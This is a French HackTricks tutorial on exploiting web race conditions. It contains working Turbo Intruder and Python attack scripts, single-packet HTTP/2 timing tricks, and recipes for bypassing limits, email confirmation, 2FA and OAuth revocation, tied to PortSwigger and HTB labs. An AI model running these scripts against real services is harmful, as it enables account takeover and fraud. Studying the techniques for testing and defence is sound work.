Condition de Course

Reading time: 16 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

warning

Pour obtenir une compréhension approfondie de cette technique, consultez le rapport original sur https://portswigger.net/research/smashing-the-state-machine

Amélioration des Attaques par Condition de Course

Le principal obstacle pour tirer parti des conditions de course est de s'assurer que plusieurs requĂȘtes sont traitĂ©es en mĂȘme temps, avec trĂšs peu de diffĂ©rence dans leurs temps de traitement—idĂ©alement, moins de 1ms.

Ici, vous pouvez trouver quelques techniques pour Synchroniser les RequĂȘtes :

Attaque Ă  Paquet Unique HTTP/2 vs. Synchronisation du Dernier Octet HTTP/1.1

  • HTTP/2 : Prend en charge l'envoi de deux requĂȘtes sur une seule connexion TCP, rĂ©duisant l'impact du jitter rĂ©seau. Cependant, en raison des variations cĂŽtĂ© serveur, deux requĂȘtes peuvent ne pas suffire pour une exploitation cohĂ©rente de la condition de course.
  • HTTP/1.1 'Synchronisation du Dernier Octet' : Permet l'envoi prĂ©alable de la plupart des parties de 20-30 requĂȘtes, en retenant un petit fragment, qui est ensuite envoyĂ© ensemble, atteignant simultanĂ©ment le serveur.

Préparation pour la Synchronisation du Dernier Octet implique :

  1. Envoyer les en-tĂȘtes et les donnĂ©es du corps moins le dernier octet sans terminer le flux.
  2. Faire une pause de 100ms aprĂšs l'envoi initial.
  3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les derniers trames.
  4. Pinger pour réchauffer la connexion.

L'envoi subséquent des trames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.

S'adapter Ă  l'Architecture du Serveur

Comprendre l'architecture de la cible est crucial. Les serveurs frontaux peuvent router les requĂȘtes diffĂ©remment, affectant le timing. Le rĂ©chauffement prĂ©ventif de la connexion cĂŽtĂ© serveur, Ă  travers des requĂȘtes sans consĂ©quence, pourrait normaliser le timing des requĂȘtes.

Gestion du Verrouillage Basé sur la Session

Des frameworks comme le gestionnaire de session de PHP sĂ©rialisent les requĂȘtes par session, obscurcissant potentiellement les vulnĂ©rabilitĂ©s. Utiliser diffĂ©rents jetons de session pour chaque requĂȘte peut contourner ce problĂšme.

Surmonter les Limites de Taux ou de Ressources

Si le rĂ©chauffement de la connexion est inefficace, dĂ©clencher intentionnellement les dĂ©lais de limites de taux ou de ressources des serveurs web Ă  travers un flot de requĂȘtes fictives pourrait faciliter l'attaque Ă  paquet unique en induisant un dĂ©lai cĂŽtĂ© serveur propice aux conditions de course.

Exemples d'Attaque

  • Tubo Intruder - attaque Ă  paquet unique HTTP2 (1 point de terminaison) : Vous pouvez envoyer la requĂȘte Ă  Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), vous pouvez changer dans la requĂȘte la valeur que vous souhaitez forcer pour %s comme dans csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s et ensuite sĂ©lectionner le examples/race-single-packer-attack.py dans le menu dĂ©roulant :

Si vous allez envoyer différentes valeurs, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Si le web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez Engine.THREADED ou Engine.BURP au lieu de Engine.BURP2.

  • Tubo Intruder - attaque Ă  paquet unique HTTP2 (Plusieurs points de terminaison) : Dans le cas oĂč vous devez envoyer une requĂȘte Ă  1 point de terminaison puis plusieurs Ă  d'autres points de terminaison pour dĂ©clencher le RCE, vous pouvez modifier le script race-single-packet-attack.py avec quelque chose comme :
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Il est Ă©galement disponible dans Repeater via la nouvelle option 'Envoyer le groupe en parallĂšle' dans Burp Suite.
  • Pour limit-overrun, vous pourriez simplement ajouter la mĂȘme requĂȘte 50 fois dans le groupe.
  • Pour connection warming, vous pourriez ajouter au dĂ©but du groupe quelques requĂȘtes vers une partie non statique du serveur web.
  • Pour delaying le processus entre le traitement d'une requĂȘte et une autre en 2 Ă©tapes substantielles, vous pourriez ajouter des requĂȘtes supplĂ©mentaires entre les deux requĂȘtes.
  • Pour un RC multi-endpoint, vous pourriez commencer Ă  envoyer la requĂȘte qui va Ă  l'Ă©tat cachĂ© et ensuite 50 requĂȘtes juste aprĂšs qui exploite l'Ă©tat cachĂ©.
  • Script python automatisĂ© : L'objectif de ce script est de changer l'email d'un utilisateur tout en le vĂ©rifiant continuellement jusqu'Ă  ce que le token de vĂ©rification du nouvel email arrive Ă  l'ancien email (c'est parce que dans le code, il voyait un RC oĂč il Ă©tait possible de modifier un email mais d'avoir la vĂ©rification envoyĂ©e Ă  l'ancien car la variable indiquant l'email Ă©tait dĂ©jĂ  peuplĂ©e avec le premier).
    Lorsque le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le token de vérification de l'email changé et nous mettons fin à l'attaque.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Amélioration de l'attaque par paquet unique

Dans la recherche originale, il est expliquĂ© que cette attaque a une limite de 1 500 octets. Cependant, dans ce post, il a Ă©tĂ© expliquĂ© comment il est possible d'Ă©tendre la limitation de 1 500 octets de l'attaque par paquet unique Ă  la limitation de fenĂȘtre de 65 535 B de TCP en utilisant la fragmentation au niveau IP (en divisant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre diffĂ©rent, ce qui a permis d'empĂȘcher le rĂ©assemblage du paquet jusqu'Ă  ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requĂȘtes en environ 166 ms.

Notez que bien que cette amĂ©lioration rende l'attaque plus fiable dans les RC qui nĂ©cessitent que des centaines/milliers de paquets arrivent en mĂȘme temps, elle peut Ă©galement avoir certaines limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un paramĂštre strict SETTINGS_MAX_CONCURRENT_STREAMS de 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimitĂ©.
Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant ainsi cette attaque RC).

Vous pouvez trouver quelques exemples utilisant cette technique dans le dépÎt https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Avant la recherche précédente, voici quelques charges utiles utilisées qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer une RC.

  • RĂ©pĂ©teur : Consultez les exemples de la section prĂ©cĂ©dente.
  • Intrus : Envoyez la requĂȘte Ă  Intrus, dĂ©finissez le nombre de threads Ă  30 dans le menu Options et sĂ©lectionnez comme charge utile Null payloads et gĂ©nĂ©rez 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Méthodologie RC

Limite-dépassement / TOCTOU

C'est le type de condition de course le plus basique oĂč les vulnĂ©rabilitĂ©s apparaissent dans des endroits qui limitent le nombre de fois que vous pouvez effectuer une action. Comme utiliser le mĂȘme code de rĂ©duction dans un magasin en ligne plusieurs fois. Un exemple trĂšs simple peut ĂȘtre trouvĂ© dans ce rapport ou dans ce bug.

Il existe de nombreuses variations de ce type d'attaque, y compris :

  • Échanger une carte-cadeau plusieurs fois
  • Évaluer un produit plusieurs fois
  • Retirer ou transfĂ©rer de l'argent en excĂšs de votre solde de compte
  • RĂ©utiliser une seule solution CAPTCHA
  • Contourner une limite de taux anti-brute-force

Sous-états cachés

Exploiter des conditions de course complexes implique souvent de tirer parti d'opportunités brÚves pour interagir avec des sous-états machine cachés ou non intentionnels. Voici comment procéder :

  1. Identifier les sous-états cachés potentiels
  • Commencez par identifier les points de terminaison qui modifient ou interagissent avec des donnĂ©es critiques, telles que les profils d'utilisateur ou les processus de rĂ©initialisation de mot de passe. Concentrez-vous sur :
  • Stockage : PrĂ©fĂ©rez les points de terminaison qui manipulent des donnĂ©es persistantes cĂŽtĂ© serveur plutĂŽt que celles qui gĂšrent des donnĂ©es cĂŽtĂ© client.
  • Action : Recherchez des opĂ©rations qui modifient des donnĂ©es existantes, qui sont plus susceptibles de crĂ©er des conditions exploitables par rapport Ă  celles qui ajoutent de nouvelles donnĂ©es.
  • ClĂ© : Les attaques rĂ©ussies impliquent gĂ©nĂ©ralement des opĂ©rations basĂ©es sur le mĂȘme identifiant, par exemple, le nom d'utilisateur ou le jeton de rĂ©initialisation.
  1. Effectuer un premier sondage
  • Testez les points de terminaison identifiĂ©s avec des attaques de condition de course, en observant toute dĂ©viation par rapport aux rĂ©sultats attendus. Des rĂ©ponses inattendues ou des changements dans le comportement de l'application peuvent signaler une vulnĂ©rabilitĂ©.
  1. Démontrer la vulnérabilité
  • RĂ©duisez l'attaque au nombre minimal de requĂȘtes nĂ©cessaires pour exploiter la vulnĂ©rabilitĂ©, souvent juste deux. Cette Ă©tape peut nĂ©cessiter plusieurs tentatives ou de l'automatisation en raison du timing prĂ©cis impliquĂ©.

Attaques sensibles au temps

La prĂ©cision dans le timing des requĂȘtes peut rĂ©vĂ©ler des vulnĂ©rabilitĂ©s, surtout lorsque des mĂ©thodes prĂ©visibles comme les horodatages sont utilisĂ©es pour les jetons de sĂ©curitĂ©. Par exemple, gĂ©nĂ©rer des jetons de rĂ©initialisation de mot de passe basĂ©s sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requĂȘtes simultanĂ©es.

Pour exploiter :

  • Utilisez un timing prĂ©cis, comme une attaque par paquet unique, pour effectuer des requĂȘtes de rĂ©initialisation de mot de passe simultanĂ©es. Des jetons identiques indiquent une vulnĂ©rabilitĂ©.

Exemple :

  • Demandez deux jetons de rĂ©initialisation de mot de passe en mĂȘme temps et comparez-les. Des jetons correspondants suggĂšrent un dĂ©faut dans la gĂ©nĂ©ration de jetons.

Vérifiez ce PortSwigger Lab pour essayer cela.

Études de cas sur les sous-Ă©tats cachĂ©s

Payer & ajouter un article

Vérifiez ce PortSwigger Lab pour voir comment payer dans un magasin et ajouter un article supplémentaire que vous n'aurez pas besoin de payer.

Confirmer d'autres e-mails

L'idĂ©e est de vĂ©rifier une adresse e-mail et de la changer en une autre en mĂȘme temps pour dĂ©couvrir si la plateforme vĂ©rifie la nouvelle adresse modifiĂ©e.

Changer l'e-mail en 2 adresses e-mail basées sur des cookies

Selon cette recherche, Gitlab était vulnérable à une prise de contrÎle de cette maniÚre car il pourrait envoyer le jeton de vérification d'e-mail d'une adresse à l'autre.

Vérifiez ce PortSwigger Lab pour essayer cela.

États de base de donnĂ©es cachĂ©s / Contournement de confirmation

Si 2 Ă©critures diffĂ©rentes sont utilisĂ©es pour ajouter des informations dans une base de donnĂ©es, il y a une petite portion de temps oĂč seules les premiĂšres donnĂ©es ont Ă©tĂ© Ă©crites dans la base de donnĂ©es. Par exemple, lors de la crĂ©ation d'un utilisateur, le nom d'utilisateur et le mot de passe peuvent ĂȘtre Ă©crits et ensuite le jeton pour confirmer le compte nouvellement créé est Ă©crit. Cela signifie que pendant un court laps de temps, le jeton pour confirmer un compte est nul.

Par consĂ©quent, enregistrer un compte et envoyer plusieurs requĂȘtes avec un jeton vide (token= ou token[]= ou toute autre variation) pour confirmer le compte immĂ©diatement pourrait permettre de confirmer un compte oĂč vous ne contrĂŽlez pas l'e-mail.

Vérifiez ce PortSwigger Lab pour essayer cela.

Contournement de 2FA

Le pseudo-code suivant est vulnérable à une condition de course car pendant un trÚs court laps de temps, le 2FA n'est pas appliqué pendant que la session est créée :

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 persistance éternelle

Il existe plusieurs fournisseurs OAUth. Ces services vous permettront de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le client devra permettre à votre application d'accéder à certaines de ses données à l'intérieur du fournisseur OAUth.
Donc, jusqu'ici, c'est juste une connexion classique avec google/linkedin/github... oĂč vous ĂȘtes invitĂ© avec une page disant : "L'application <InsertCoolName> souhaite accĂ©der Ă  vos informations, voulez-vous l'autoriser ?"

Condition de course dans authorization_code

Le problĂšme apparaĂźt lorsque vous l'acceptez et envoie automatiquement un authorization_code Ă  l'application malveillante. Ensuite, cette application abuse d'une Condition de course dans le fournisseur de service OAUth pour gĂ©nĂ©rer plus d'un AT/RT (Token d'authentification/Token de rafraĂźchissement) Ă  partir du authorization_code pour votre compte. En gros, elle va abuser du fait que vous avez acceptĂ© l'application pour accĂ©der Ă  vos donnĂ©es afin de crĂ©er plusieurs comptes. Ensuite, si vous arrĂȘtez de permettre Ă  l'application d'accĂ©der Ă  vos donnĂ©es, une paire d'AT/RT sera supprimĂ©e, mais les autres resteront valides.

Condition de course dans Refresh Token

Une fois que vous avez obtenu un RT valide, vous pourriez essayer de l'abuser pour gĂ©nĂ©rer plusieurs AT/RT et mĂȘme si l'utilisateur annule les autorisations pour l'application malveillante d'accĂ©der Ă  ses donnĂ©es, plusieurs RT resteront valides.

RC dans WebSockets

Dans WS_RaceCondition_PoC, vous pouvez trouver un PoC en Java pour envoyer des messages websocket en parallÚle afin d'abuser des Conditions de course également dans les Web Sockets.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks